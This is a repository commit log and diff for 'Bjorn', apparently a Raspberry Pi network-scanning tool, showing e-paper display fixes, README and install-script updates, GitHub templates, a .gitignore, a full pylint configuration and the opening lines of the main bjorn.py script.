87 Commits

Author SHA1 Message Date
Fabien POLLY bb41eb1248 Delete .github/workflows directory 2026-05-04 15:52:25 +02:00
Fabien POLLY 0d21159cf5 Merge pull request #184 from infinition/infinition-patch-1
Add GitHub Actions workflow for wiki synchronization
2026-05-04 15:46:09 +02:00
Fabien POLLY eb0fd4ff03 Add GitHub Actions workflow for wiki synchronization 2026-05-04 15:45:23 +02:00
infinition 42f1dc392f Add files via upload
Wifi fix before the main Bjorn update release (Linux related)
2024-12-18 14:21:54 +01:00
infinition d6c424bbea Create version.txt
Created a txt file test for update function fetching
2024-12-03 14:02:35 +01:00
infinition 46684adebd Update epd2in13.py
New flag & if condition to track if the display has been initialized &
avoid repeated initialization and accumulation of File descriptors  & system crash.
2024-11-19 23:44:44 +01:00
infinition d0b9b737f9 Update epd2in13_V2.py
New flag & if condition to track if the display has been initialized &
avoid repeated initialization and accumulation of File descriptors  & system crash.
2024-11-19 23:44:00 +01:00
infinition 7daf7e8632 Update epd2in13_V3.py
New flag & if condition to track if the display has been initialized &
avoid repeated initialization and accumulation of File descriptors  & system crash.
2024-11-19 23:43:14 +01:00
infinition 258e212e07 Update epd2in13_V4.py
New flag & if condition to track if the display has been initialized &
avoid repeated initialization and accumulation of File descriptors  & system crash.
2024-11-19 23:42:20 +01:00
infinition 40c2c53c93 Update epd2in7.py
New flag & if condition to track if the display has been initialized &
avoid repeated initialization and accumulation of File descriptors  & system crash.
2024-11-19 23:41:21 +01:00
infinition 119dd19b07 Merge pull request #49 from afreeland/afreeland/fix-web-save-for-arrays
Fixes an issue with array based fields when saving from the web UI
2024-11-19 15:23:49 +01:00
afreeland 972637feb1 Handles empty state values (null, "") in list based config items from being persisted 2024-11-18 19:38:43 -05:00
afreeland 345fd3e0ff Fixes an issue with array based fields when saving from the web UI 2024-11-18 16:50:10 -05:00
infinition cad29fb648 Merge pull request #42 from vollukas/vollukas-random-branch 2024-11-18 01:28:00 +01:00
vollukas 9fb1492340 Bjorn screen button correct hover backround + dropdown buttons pointer mouse 2024-11-16 23:38:21 +01:00
infinition ea78fbd22f Merge pull request #41 from JuanVilla424/dev
style(core): fix style and break link
2024-11-16 23:26:09 +01:00
B 8e397b80a7 style(core): fix style and break link 2024-11-16 15:47:21 -05:00
Na0nh 00106ec13a Merge pull request #3 from JuanVilla424/main
Update README.md
2024-11-16 11:20:58 -05:00
infinition 63200077b1 Update README.md
Corrected url
2024-11-16 01:50:12 +01:00
Na0nh aacd14ec11 Merge pull request #2 from JuanVilla424/main
style(core): infinition changes over style and prerequisites
2024-11-15 07:03:40 -05:00
infinition 5c23dd2000 Update README.md 2024-11-15 02:22:35 +01:00
infinition 4862f981a2 Update README.md
Added 64bits
2024-11-15 02:20:23 +01:00
infinition 7157f5492a Update README.md
Added Usage Example
2024-11-15 02:11:36 +01:00
infinition 20adbce97f Update FUNDING.yml 2024-11-15 01:47:24 +01:00
infinition c83801da85 Update install_bjorn.sh
RAM Fix
2024-11-15 01:31:14 +01:00
infinition 9be9a25da1 Update TROUBLESHOOTING.md
Added commands
2024-11-15 01:21:54 +01:00
infinition 7e4d4b8adc Update SECURITY.md
added mail
2024-11-15 01:19:21 +01:00
infinition fc1852b886 Update INSTALL.md
Added 64bits support
2024-11-15 01:17:21 +01:00
infinition f613fdab0e Update CODE_OF_CONDUCT.md
mail
2024-11-15 01:08:21 +01:00
Na0nh 34627fd6b2 Merge pull request #1 from JuanVilla424/main
refactor(core): fork update to dev branch
2024-11-13 18:59:07 -05:00
infinition a1a29fdfea Update CODE_OF_CONDUCT.md
Added email
2024-11-14 00:38:07 +01:00
infinition 4f56ac5c59 Update SECURITY.md
Added email for security
2024-11-14 00:37:07 +01:00
infinition 1a93ccd4f6 Merge pull request #37 from infinition/dev
refactor(core): refactor md files #33 dev-> main
2024-11-13 23:13:29 +01:00
infinition 0cca0b87a1 Merge pull request #33 from JuanVilla424/dev
refactor(core): refactor md files
2024-11-13 22:55:49 +01:00
B 3c03da369d fix(style): fixed typo standard convention 2024-11-13 13:19:00 -05:00
B 0bb36f5604 style(core): added troubleshooting link to 2024-11-13 13:17:06 -05:00
B 0cf543f793 fix(core): fixed dependabot commit preffix message 2024-11-13 13:11:36 -05:00
B 4849b3c985 fix(style): fixed readme file 2024-11-13 12:20:29 -05:00
B d7b6e3eb4d fix(style): fixed readme file 2024-11-13 12:00:09 -05:00
B 7b5f21ee93 fix(style): fixed readme file 2024-11-13 11:56:48 -05:00
B ccbb2a6a86 fix(style): fixed readme file 2024-11-13 08:10:49 -05:00
B 49c21a431d fix(style): fixed update process 2024-11-13 07:35:39 -05:00
B 29868e18de fix(style): fixed update process 2024-11-13 07:34:55 -05:00
B e76b1e49a4 style(core): added update process 2024-11-13 07:22:43 -05:00
B c880cd6eba fix(core): refactor md files 2024-11-12 22:12:14 -05:00
Fabien POLLY b657ed6480 Fix merge issues & mac address blacklist overwriting shared save data #32 2024-11-13 01:58:28 +01:00
Fabien POLLY 1b69e97dbf Fixed missing parameter 2024-11-13 00:19:54 +01:00
Fabien POLLY c32344b6cb Commit error fix 2024-11-13 00:15:39 +01:00
Fabien POLLY 779a0b3101 Fix commit error 2024-11-13 00:14:11 +01:00
infinition d0d771e6cb Merge pull request #12 from IncredibleZuess/main 2024-11-12 23:54:46 +01:00
infinition f0fb069c6a Merge pull request #31 from jbohack/main
Fix cut-off code in `bjorn.service` manual install 😄
2024-11-12 23:35:39 +01:00
jbohack 59b2a4b7e0 Merge branch 'infinition:main' into main 2024-11-12 17:32:46 -05:00
jbohack ed51dec4a7 Fix previously cut-off code 2024-11-12 17:31:37 -05:00
infinition 533c77e32c Merge pull request #30 from jbohack/main
Update manual installation documentation for `bjorn.service`
2024-11-12 23:25:53 +01:00
jbohack ad9665d280 Merge branch 'infinition:main' into main 2024-11-12 17:15:58 -05:00
jbohack 5b816e350c Update manual installation documentation for bjorn.service
This update introduces the below PR into the manual install: https://github.com/infinition/Bjorn/pull/27
2024-11-12 17:15:25 -05:00
Fabien POLLY 518a87ccc0 Bjorn attacking itself/finding its own vulnerabilities #25 (you can copy/paste shared.py manually if you want) 2024-11-12 21:32:08 +01:00
infinition e35c60d48b Merge pull request #27 from jbohack/main
Restart bjorn.service automatically if file descriptor limit is reached
2024-11-12 19:15:22 +01:00
infinition bdd6324b40 Update README.md
Added Bjorn Detector
2024-11-12 19:04:20 +01:00
jbohack f9d2ad2404 Restart bjorn.service automatically if file descriptor limit is reached 2024-11-12 12:46:05 -05:00
Fabien POLLY 7f6f46db87 remove usless .git* files 2024-11-12 14:54:11 +01:00
infinition 8b95cb1576 Merge pull request #24 from jbohack/main
Resolve 'DefaultLimitNOFILE' not properly setting in systemd
2024-11-12 14:49:37 +01:00
jbohack c5081eb30d Merge branch 'infinition:main' into main 2024-11-11 21:09:05 -05:00
jbohack 8d5d84ffce Resolve 'DefaultLimitNOFILE' not properly setting in systemd
Tested and verified that this changes properly from a fresh install.
2024-11-11 21:08:30 -05:00
infinition a2130fe1fe Update README.md
added EPD img
2024-11-12 01:48:37 +01:00
infinition 99d9422014 Update README.md
Join Our Community added
2024-11-12 01:31:57 +01:00
infinition 1ff729df91 Merge pull request #22 from jbohack/main
Resolve EPD.init argument error for Waveshare v3
2024-11-12 01:02:32 +01:00
jbohack 68ebfbc811 Resolve attribute error for 'screen_reversed' on Waveshare V3 2024-11-11 15:53:09 -05:00
jbohack 49a9d7614a Resolve EPD.init argument error for Waveshare v3 2024-11-11 15:23:50 -05:00
infinition fc6e0fb7cc PSD file of Bjorn and his wife Alva 2024-11-11 17:05:52 +01:00
IncredibleZuess 4c32dc1e2a Fixed frise after testing 2024-11-09 18:58:50 +02:00
IncredibleZuess 50c77e729d Fixed up some of the weird cases for image loading and modified the install script to include the 2in7 display 2024-11-09 18:33:24 +02:00
IncredibleZuess 4a85e32c3b Add logging for EPD type and initialize screen_reversed variable and add support to 2in7 eink 2024-11-09 17:44:04 +02:00
Fabien POLLY 9ea706ccc0 Merge branch 'main' of https://github.com/infinition/Bjorn 2024-11-08 18:37:59 +01:00
infinition 1981e06722 Delete data/output/zombies/.gitkeep 2024-11-08 18:34:22 +01:00
infinition 4dd30869b3 Merge pull request #6 from eltociear/patch-1
docs: update README.md
2024-11-08 00:57:42 +01:00
infinition cb11afd5d1 Update README.md
Added the choice to choose epd screen type
2024-11-08 00:48:24 +01:00
Fabien POLLY 1e48fc2d85 Solved missing folders and added screen choice in the installation script 2024-11-08 00:38:40 +01:00
Ikko Eltociear Ashimine 5ab87eaf18 docs: update README.md
alogorithm -> algorithm
2024-11-08 08:31:13 +09:00
Fabien POLLY efcd1a9b69 Added screen choice for the user and solved missing folders 2024-11-08 00:31:10 +01:00
infinition a9844cef60 Update README.md
changed wget target link
2024-11-07 20:27:55 +01:00
Fabien POLLY 5724ce6bb6 First Bjorn Commit ! 2024-11-07 16:39:14 +01:00
infinition 10ffdfa103 Update README.md
Preparing README for pre release of the "alpha"
This version will come without OS, only python files.
For the impatients, i'm planning a realease in the coming week (or my best before the end of july).
Please be aware that this version will certainly be full of bugs as i'm alone on this huge project and discovering the joy of dev life ;)
Enjoy the reading before next updates !
Best regards,
Fabien
2024-07-02 21:00:40 +02:00
infinition 0abebbac4f Update LICENSE 2024-06-02 13:46:58 +02:00
Fabien POLLY fc6fb82d15 Update README.md 2024-06-02 13:37:08 +02:00
Fabien POLLY 6a9bb627e0 Update README.md
First commit
2024-06-02 13:36:19 +02:00
Fabien POLLY b73cdba311 Initial commit 2024-06-02 13:33:14 +02:00
296 changed files with 14739 additions and 3862 deletions
+2
View File
@@ -0,0 +1,2 @@
*.sh text eol=lf
*.py text eol=lf
+15
View File
@@ -0,0 +1,15 @@
# These are supported funding model platforms
#github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
#patreon: # Replace with a single Patreon username
#open_collective: # Replace with a single Open Collective username
#ko_fi: # Replace with a single Ko-fi username
#tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
#community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
#liberapay: # Replace with a single Liberapay username
#issuehunt: # Replace with a single IssueHunt username
#lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry
#polar: # Replace with a single Polar username
buy_me_a_coffee: infinition
#thanks_dev: # Replace with a single thanks.dev username
#custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
+34
View File
@@ -0,0 +1,34 @@
---
name: Bug report
about: Create a report to help us improve
title: ""
labels: ""
assignees: ""
---
**Describe the bug**
A clear and concise description of what the bug is.
**To Reproduce**
Steps to reproduce the behavior:
1. Go to '...'
2. Click on '....'
3. Scroll down to '....'
4. See error
**Expected behavior**
A clear and concise description of what you expected to happen.
**Screenshots**
If applicable, add screenshots to help explain your problem.
**Hardware (please complete the following information):**
- Device: [e.g. iPhone6]
- OS: [e.g. iOS]
- Browser [e.g. chrome, safari]
- Version [e.g. 22]
**Additional context**
Add any other context about the problem here.
+11
View File
@@ -0,0 +1,11 @@
---
# .github/ISSUE_TEMPLATE/config.yml
blank_issues_enabled: false
contact_links:
- name: Bjorn Community Support
url: https://github.com/infinition/bjorn/discussions
about: Please ask and answer questions here.
- name: Bjorn Security Reports
url: https://infinition.github.io/bjorn/SECURITY
about: Please report security vulnerabilities here.
+19
View File
@@ -0,0 +1,19 @@
---
name: Feature request
about: Suggest an idea for this project
title: ""
labels: ""
assignees: ""
---
**Is your feature request related to a problem? Please describe.**
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
**Describe the solution you'd like**
A clear and concise description of what you want to happen.
**Describe alternatives you've considered**
A clear and concise description of any alternative solutions or features you've considered.
**Additional context**
Add any other context or screenshots about the feature request here.
+12
View File
@@ -0,0 +1,12 @@
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "pip"
directory: "."
schedule:
interval: "weekly"
commit-message:
prefix: "fix(deps)"
open-pull-requests-limit: 5
target-branch: "dev"
+137
View File
@@ -0,0 +1,137 @@
# Node.js / npm
node_modules/
npm-debug.log*
yarn-debug.log*
yarn-error.log*
.pnpm-debug.log*
package-lock.json*
# TypeScript / TSX
dist/
*.tsbuildinfo
# Poetry
poetry.lock
# Environment variables
.env
.env.*.local
# Logs
logs
*.log
pnpm-debug.log*
lerna-debug.log*
# Dependency directories
jspm_packages/
# Optional npm cache directory
.npm
# Output of 'npm pack'
*.tgz
# Lockfiles
yarn.lock
.pnpm-lock.yaml
# Optional eslint cache
.eslintcache
# Optional stylelint cache
.stylelintcache
# Optional REPL history
.node_repl_history
# Coverage directory used by tools like
instanbul/
istanbul/jest
jest/
coverage/
# Output of 'tsc' command
out/
build/
tmp/
temp/
# Python
__pycache__/
*.py[cod]
*.so
*.egg
*.egg-info/
pip-wheel-metadata/
*.pyo
*.pyd
*.whl
*.pytest_cache/
.tox/
env/
venv
venv/
ENV/
env.bak/
.venv/
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
# Coverage reports
htmlcov/
.coverage
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
# Jupyter Notebook
.ipynb_checkpoints
# Django stuff:
staticfiles/
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# VS Code settings
.vscode/
.idea/
# macOS files
.DS_Store
.AppleDouble
.LSOverride
# Windows files
Thumbs.db
ehthumbs.db
Desktop.ini
$RECYCLE.BIN/
# Linux system files
*.swp
*~
# IDE specific
*.iml
*.suo
*.ntvs*
*.njsproj
*.sln
*.sw?
scripts
*/certs/
+652
View File
@@ -0,0 +1,652 @@
[MAIN]
# Analyse import fallback blocks. This can be used to support both Python 2 and
# 3 compatible code, which means that the block might have code that exists
# only in one or another interpreter, leading to false positives when analysed.
analyse-fallback-blocks=no
# Clear in-memory caches upon conclusion of linting. Useful if running pylint
# in a server-like mode.
clear-cache-post-run=no
# Load and enable all available extensions. Use --list-extensions to see a list
# all available extensions.
#enable-all-extensions=
# In error mode, messages with a category besides ERROR or FATAL are
# suppressed, and no reports are done by default. Error mode is compatible with
# disabling specific errors.
#errors-only=
# Always return a 0 (non-error) status code, even if lint errors are found.
# This is primarily useful in continuous integration scripts.
#exit-zero=
# A comma-separated list of package or module names from where C extensions may
# be loaded. Extensions are loading into the active Python interpreter and may
# run arbitrary code.
extension-pkg-allow-list=
# A comma-separated list of package or module names from where C extensions may
# be loaded. Extensions are loading into the active Python interpreter and may
# run arbitrary code. (This is an alternative name to extension-pkg-allow-list
# for backward compatibility.)
extension-pkg-whitelist=
# Return non-zero exit code if any of these messages/categories are detected,
# even if score is above --fail-under value. Syntax same as enable. Messages
# specified are enabled, while categories only check already-enabled messages.
fail-on=
# Specify a score threshold under which the program will exit with error.
fail-under=8
# Interpret the stdin as a python script, whose filename needs to be passed as
# the module_or_package argument.
#from-stdin=
# Files or directories to be skipped. They should be base names, not paths.
ignore=venv,node_modules,scripts
# Add files or directories matching the regular expressions patterns to the
# ignore-list. The regex matches against paths and can be in Posix or Windows
# format. Because '\\' represents the directory delimiter on Windows systems,
# it can't be used as an escape character.
ignore-paths=
# Files or directories matching the regular expression patterns are skipped.
# The regex matches against base names, not paths. The default value ignores
# Emacs file locks
ignore-patterns=^\.#
# List of module names for which member attributes should not be checked and
# will not be imported (useful for modules/projects where namespaces are
# manipulated during runtime and thus existing member attributes cannot be
# deduced by static analysis). It supports qualified module names, as well as
# Unix pattern matching.
ignored-modules=
# Python code to execute, usually for sys.path manipulation such as
# pygtk.require().
#init-hook=
# Use multiple processes to speed up Pylint. Specifying 0 will auto-detect the
# number of processors available to use, and will cap the count on Windows to
# avoid hangs.
jobs=1
# Control the amount of potential inferred values when inferring a single
# object. This can help the performance when dealing with large functions or
# complex, nested conditions.
limit-inference-results=100
# List of plugins (as comma separated values of python module names) to load,
# usually to register additional checkers.
load-plugins=
# Pickle collected data for later comparisons.
persistent=yes
# Resolve imports to .pyi stubs if available. May reduce no-member messages and
# increase not-an-iterable messages.
prefer-stubs=no
# Minimum Python version to use for version dependent checks. Will default to
# the version used to run pylint.
py-version=3.12
# Discover python modules and packages in the file system subtree.
recursive=no
# Add paths to the list of the source roots. Supports globbing patterns. The
# source root is an absolute path or a path relative to the current working
# directory used to determine a package namespace for modules located under the
# source root.
source-roots=
# When enabled, pylint would attempt to guess common misconfiguration and emit
# user-friendly hints instead of false-positive error messages.
suggestion-mode=yes
# Allow loading of arbitrary C extensions. Extensions are imported into the
# active Python interpreter and may run arbitrary code.
unsafe-load-any-extension=no
# In verbose mode, extra non-checker-related info will be displayed.
#verbose=
[BASIC]
# Naming style matching correct argument names.
argument-naming-style=snake_case
# Regular expression matching correct argument names. Overrides argument-
# naming-style. If left empty, argument names will be checked with the set
# naming style.
#argument-rgx=
# Naming style matching correct attribute names.
attr-naming-style=snake_case
# Regular expression matching correct attribute names. Overrides attr-naming-
# style. If left empty, attribute names will be checked with the set naming
# style.
#attr-rgx=
# Bad variable names which should always be refused, separated by a comma.
bad-names=foo,
bar,
baz,
toto,
tutu,
tata
# Bad variable names regexes, separated by a comma. If names match any regex,
# they will always be refused
bad-names-rgxs=
# Naming style matching correct class attribute names.
class-attribute-naming-style=any
# Regular expression matching correct class attribute names. Overrides class-
# attribute-naming-style. If left empty, class attribute names will be checked
# with the set naming style.
#class-attribute-rgx=
# Naming style matching correct class constant names.
class-const-naming-style=UPPER_CASE
# Regular expression matching correct class constant names. Overrides class-
# const-naming-style. If left empty, class constant names will be checked with
# the set naming style.
#class-const-rgx=
# Naming style matching correct class names.
class-naming-style=PascalCase
# Regular expression matching correct class names. Overrides class-naming-
# style. If left empty, class names will be checked with the set naming style.
#class-rgx=
# Naming style matching correct constant names.
const-naming-style=UPPER_CASE
# Regular expression matching correct constant names. Overrides const-naming-
# style. If left empty, constant names will be checked with the set naming
# style.
#const-rgx=
# Minimum line length for functions/classes that require docstrings, shorter
# ones are exempt.
docstring-min-length=-1
# Naming style matching correct function names.
function-naming-style=snake_case
# Regular expression matching correct function names. Overrides function-
# naming-style. If left empty, function names will be checked with the set
# naming style.
#function-rgx=
# Good variable names which should always be accepted, separated by a comma.
good-names=i,
j,
k,
ex,
Run,
_
# Good variable names regexes, separated by a comma. If names match any regex,
# they will always be accepted
good-names-rgxs=
# Include a hint for the correct naming format with invalid-name.
include-naming-hint=no
# Naming style matching correct inline iteration names.
inlinevar-naming-style=any
# Regular expression matching correct inline iteration names. Overrides
# inlinevar-naming-style. If left empty, inline iteration names will be checked
# with the set naming style.
#inlinevar-rgx=
# Naming style matching correct method names.
method-naming-style=snake_case
# Regular expression matching correct method names. Overrides method-naming-
# style. If left empty, method names will be checked with the set naming style.
#method-rgx=
# Naming style matching correct module names.
module-naming-style=snake_case
# Regular expression matching correct module names. Overrides module-naming-
# style. If left empty, module names will be checked with the set naming style.
#module-rgx=
# Colon-delimited sets of names that determine each other's naming style when
# the name regexes allow several styles.
name-group=
# Regular expression which should only match function or class names that do
# not require a docstring.
no-docstring-rgx=^_
# List of decorators that produce properties, such as abc.abstractproperty. Add
# to this list to register other decorators that produce valid properties.
# These decorators are taken in consideration only for invalid-name.
property-classes=abc.abstractproperty
# Regular expression matching correct type alias names. If left empty, type
# alias names will be checked with the set naming style.
#typealias-rgx=
# Regular expression matching correct type variable names. If left empty, type
# variable names will be checked with the set naming style.
#typevar-rgx=
# Naming style matching correct variable names.
variable-naming-style=snake_case
# Regular expression matching correct variable names. Overrides variable-
# naming-style. If left empty, variable names will be checked with the set
# naming style.
variable-rgx=[a-z_][a-z0-9_]{2,30}$
[CLASSES]
# Warn about protected attribute access inside special methods
check-protected-access-in-special-methods=no
# List of method names used to declare (i.e. assign) instance attributes.
defining-attr-methods=__init__,
__new__,
setUp,
asyncSetUp,
__post_init__
# List of member names, which should be excluded from the protected access
# warning.
exclude-protected=_asdict,_fields,_replace,_source,_make,os._exit
# List of valid names for the first argument in a class method.
valid-classmethod-first-arg=cls
# List of valid names for the first argument in a metaclass class method.
valid-metaclass-classmethod-first-arg=mcs
[DESIGN]
# List of regular expressions of class ancestor names to ignore when counting
# public methods (see R0903)
exclude-too-few-public-methods=
# List of qualified class names to ignore when counting class parents (see
# R0901)
ignored-parents=
# Maximum number of arguments for function / method.
max-args=5
# Maximum number of attributes for a class (see R0902).
max-attributes=7
# Maximum number of boolean expressions in an if statement (see R0916).
max-bool-expr=5
# Maximum number of branch for function / method body.
max-branches=12
# Maximum number of locals for function / method body.
max-locals=15
# Maximum number of parents for a class (see R0901).
max-parents=7
# Maximum number of positional arguments for function / method.
max-positional-arguments=5
# Maximum number of public methods for a class (see R0904).
max-public-methods=20
# Maximum number of return / yield for function / method body.
max-returns=6
# Maximum number of statements in function / method body.
max-statements=50
# Minimum number of public methods for a class (see R0903).
min-public-methods=2
[EXCEPTIONS]
# Exceptions that will emit a warning when caught.
overgeneral-exceptions=builtins.BaseException,builtins.Exception
[FORMAT]
# Expected format of line ending, e.g. empty (any line ending), LF or CRLF.
expected-line-ending-format=
# Regexp for a line that is allowed to be longer than the limit.
ignore-long-lines=^\s*(# )?<?https?://\S+>?$
# Number of spaces of indent required inside a hanging or continued line.
indent-after-paren=4
# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1
# tab).
indent-string=' '
# Maximum number of characters on a single line.
max-line-length=100
# Maximum number of lines in a module.
max-module-lines=2500
# Allow the body of a class to be on the same line as the declaration if body
# contains single statement.
single-line-class-stmt=no
# Allow the body of an if to be on the same line as the test if there is no
# else.
single-line-if-stmt=no
[IMPORTS]
# List of modules that can be imported at any level, not just the top level
# one.
allow-any-import-level=
# Allow explicit reexports by alias from a package __init__.
allow-reexport-from-package=no
# Allow wildcard imports from modules that define __all__.
allow-wildcard-with-all=no
# Deprecated modules which should not be used, separated by a comma.
deprecated-modules=
# Output a graph (.gv or any supported image format) of external dependencies
# to the given file (report RP0402 must not be disabled).
ext-import-graph=
# Output a graph (.gv or any supported image format) of all (i.e. internal and
# external) dependencies to the given file (report RP0402 must not be
# disabled).
import-graph=
# Output a graph (.gv or any supported image format) of internal dependencies
# to the given file (report RP0402 must not be disabled).
int-import-graph=
# Force import order to recognize a module as part of the standard
# compatibility libraries.
known-standard-library=
# Force import order to recognize a module as part of a third party library.
known-third-party=enchant
# Couples of modules and preferred modules, separated by a comma.
preferred-modules=
[LOGGING]
# The type of string formatting that logging methods do. `old` means using %
# formatting, `new` is for `{}` formatting.
logging-format-style=new
# Logging modules to check that the string format arguments are in logging
# function parameter format.
logging-modules=logging
[MESSAGES CONTROL]
# Only show warnings with the listed confidence levels. Leave empty to show
# all. Valid levels: HIGH, CONTROL_FLOW, INFERENCE, INFERENCE_FAILURE,
# UNDEFINED.
confidence=HIGH,
CONTROL_FLOW,
INFERENCE,
INFERENCE_FAILURE,
UNDEFINED
# Disable the message, report, category or checker with the given id(s). You
# can either give multiple identifiers separated by comma (,) or put this
# option multiple times (only on the command line, not in the configuration
# file where it should appear only once). You can also use "--disable=all" to
# disable everything first and then re-enable specific checks. For example, if
# you want to run only the similarities checker, you can use "--disable=all
# --enable=similarities". If you want to run only the classes checker, but have
# no Warning level messages displayed, use "--disable=all --enable=classes
# --disable=W".
disable=missing-module-docstring,
invalid-name,
too-few-public-methods,
E1101,
C0115,
duplicate-code,
raise-missing-from,
wrong-import-order,
ungrouped-imports,
reimported,
too-many-locals,
missing-timeout,
broad-exception-caught,
broad-exception-raised,
line-too-long
# Enable the message, report, category or checker with the given id(s). You can
# either give multiple identifier separated by comma (,) or put this option
# multiple time (only on the command line, not in the configuration file where
# it should appear only once). See also the "--disable" option for examples.
#enable=
[METHOD_ARGS]
# List of qualified names (i.e., library.method) which require a timeout
# parameter e.g. 'requests.api.get,requests.api.post'
timeout-methods=requests.api.delete,requests.api.get,requests.api.head,requests.api.options,requests.api.patch,requests.api.post,requests.api.put,requests.api.request
[MISCELLANEOUS]
# List of note tags to take in consideration, separated by a comma.
notes=FIXME,
XXX,
TODO
# Regular expression of note tags to take in consideration.
notes-rgx=
[REFACTORING]
# Maximum number of nested blocks for function / method body
max-nested-blocks=5
# Complete name of functions that never returns. When checking for
# inconsistent-return-statements if a never returning function is called then
# it will be considered as an explicit return statement and no message will be
# printed.
never-returning-functions=sys.exit,argparse.parse_error
# Let 'consider-using-join' be raised when the separator to join on would be
# non-empty (resulting in expected fixes of the type: ``"- " + " -
# ".join(items)``)
suggest-join-with-non-empty-separator=yes
[REPORTS]
# Python expression which should return a score less than or equal to 10. You
# have access to the variables 'fatal', 'error', 'warning', 'refactor',
# 'convention', and 'info' which contain the number of messages in each
# category, as well as 'statement' which is the total number of statements
# analyzed. This score is used by the global evaluation report (RP0004).
evaluation=max(0, 0 if fatal else 10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10))
# Template used to display messages. This is a python new-style format string
# used to format the message information. See doc for all details.
msg-template=
# Set the output format. Available formats are: text, parseable, colorized,
# json2 (improved json format), json (old json format) and msvs (visual
# studio). You can also give a reporter class, e.g.
# mypackage.mymodule.MyReporterClass.
#output-format=
# Tells whether to display a full report or only the messages.
reports=no
# Activate the evaluation score.
score=yes
[SIMILARITIES]
# Comments are removed from the similarity computation
ignore-comments=yes
# Docstrings are removed from the similarity computation
ignore-docstrings=yes
# Imports are removed from the similarity computation
ignore-imports=yes
# Signatures are removed from the similarity computation
ignore-signatures=yes
# Minimum lines number of a similarity.
min-similarity-lines=4
[SPELLING]
# Limits count of emitted suggestions for spelling mistakes.
max-spelling-suggestions=4
# Spelling dictionary name. No available dictionaries : You need to install
# both the python package and the system dependency for enchant to work.
spelling-dict=
# List of comma separated words that should be considered directives if they
# appear at the beginning of a comment and should not be checked.
spelling-ignore-comment-directives=fmt: on,fmt: off,noqa:,noqa,nosec,isort:skip,mypy:
# List of comma separated words that should not be checked.
spelling-ignore-words=
# A path to a file that contains the private dictionary; one word per line.
spelling-private-dict-file=
# Tells whether to store unknown words to the private dictionary (see the
# --spelling-private-dict-file option) instead of raising a message.
spelling-store-unknown-words=no
[STRING]
# This flag controls whether inconsistent-quotes generates a warning when the
# character used as a quote delimiter is used inconsistently within a module.
check-quote-consistency=no
# This flag controls whether the implicit-str-concat should generate a warning
# on implicit string concatenation in sequences defined over several lines.
check-str-concat-over-line-jumps=no
[TYPECHECK]
# List of decorators that produce context managers, such as
# contextlib.contextmanager. Add to this list to register other decorators that
# produce valid context managers.
contextmanager-decorators=contextlib.contextmanager
# List of members which are set dynamically and missed by pylint inference
# system, and so shouldn't trigger E1101 when accessed. Python regular
# expressions are accepted.
generated-members=
# Tells whether to warn about missing members when the owner of the attribute
# is inferred to be None.
ignore-none=yes
# This flag controls whether pylint should warn about no-member and similar
# checks whenever an opaque object is returned when inferring. The inference
# can return multiple potential results while evaluating a Python object, but
# some branches might not be evaluated, which results in partial inference. In
# that case, it might be useful to still emit no-member and other checks for
# the rest of the inferred objects.
ignore-on-opaque-inference=yes
# List of symbolic message names to ignore for Mixin members.
ignored-checks-for-mixins=no-member,
not-async-context-manager,
not-context-manager,
attribute-defined-outside-init
# List of class names for which member attributes should not be checked (useful
# for classes with dynamically set attributes). This supports the use of
# qualified names.
ignored-classes=optparse.Values,thread._local,_thread._local,argparse.Namespace
# Show a hint with possible names when a member name was not found. The aspect
# of finding the hint is based on edit distance.
missing-member-hint=yes
# The minimum edit distance a name should have in order to be considered a
# similar match for a missing member name.
missing-member-hint-distance=1
# The total number of similar names that should be taken in consideration when
# showing a hint for a missing member.
missing-member-max-choices=1
# Regex pattern to define which classes are considered mixins.
mixin-class-rgx=.*[Mm]ixin
# List of decorators that change the signature of a decorated function.
signature-mutators=
[VARIABLES]
# List of additional names supposed to be defined in builtins. Remember that
# you should avoid defining new builtins when possible.
additional-builtins=
# Tells whether unused global variables should be treated as a violation.
allow-global-unused-variables=yes
# List of names allowed to shadow builtins
allowed-redefined-builtins=
# List of strings which can identify a callback function by name. A callback
# name must start or end with one of those strings.
callbacks=cb_,
_cb
# A regular expression matching the name of dummy variables (i.e. expected to
# not be used).
dummy-variables-rgx=_+$|(_[a-zA-Z0-9_]*[a-zA-Z0-9]+?$)|dummy|^ignored_|^unused_
# Argument names that match this expression will be ignored.
ignored-argument-names=_.*|^ignored_|^unused_
# Tells whether we should check for unused import in __init__ files.
init-import=no
# List of qualified module names which can have objects that can redefine
# builtins.
redefining-builtins-modules=six.moves,past.builtins,future.builtins,builtins,io
-4
View File
@@ -1,4 +0,0 @@
Contact: https://github.com/infinition/Bjorn/issues
Expires: 2027-01-01T00:00:00.000Z
Preferred-Languages: en, fr
Policy: https://github.com/infinition/Bjorn/blob/wiki/SECURITY.md
+158
View File
@@ -0,0 +1,158 @@
#bjorn.py
# This script defines the main execution flow for the Bjorn application. It initializes and starts
# various components such as network scanning, display, and web server functionalities. The Bjorn
# class manages the primary operations, including initiating network scans and orchestrating tasks.
# The script handles startup delays, checks for Wi-Fi connectivity, and coordinates the execution of
# scanning and orchestrator tasks using semaphores to limit concurrent threads. It also sets up
# signal handlers to ensure a clean exit when the application is terminated.
# Functions:
# - handle_exit: handles the termination of the main and display threads.
# - handle_exit_webserver: handles the termination of the web server thread.
# - is_wifi_connected: Checks for Wi-Fi connectivity using the nmcli command.
# The script starts by loading shared data configurations, then initializes and sta
# bjorn.py
import threading
import signal
import logging
import time
import sys
import subprocess
from init_shared import shared_data
from display import Display, handle_exit_display
from comment import Commentaireia
from webapp import web_thread, handle_exit_web
from orchestrator import Orchestrator
from logger import Logger
logger = Logger(name="Bjorn.py", level=logging.DEBUG)
class Bjorn:
"""Main class for Bjorn. Manages the primary operations of the application."""
def __init__(self, shared_data):
self.shared_data = shared_data
self.commentaire_ia = Commentaireia()
self.orchestrator_thread = None
self.orchestrator = None
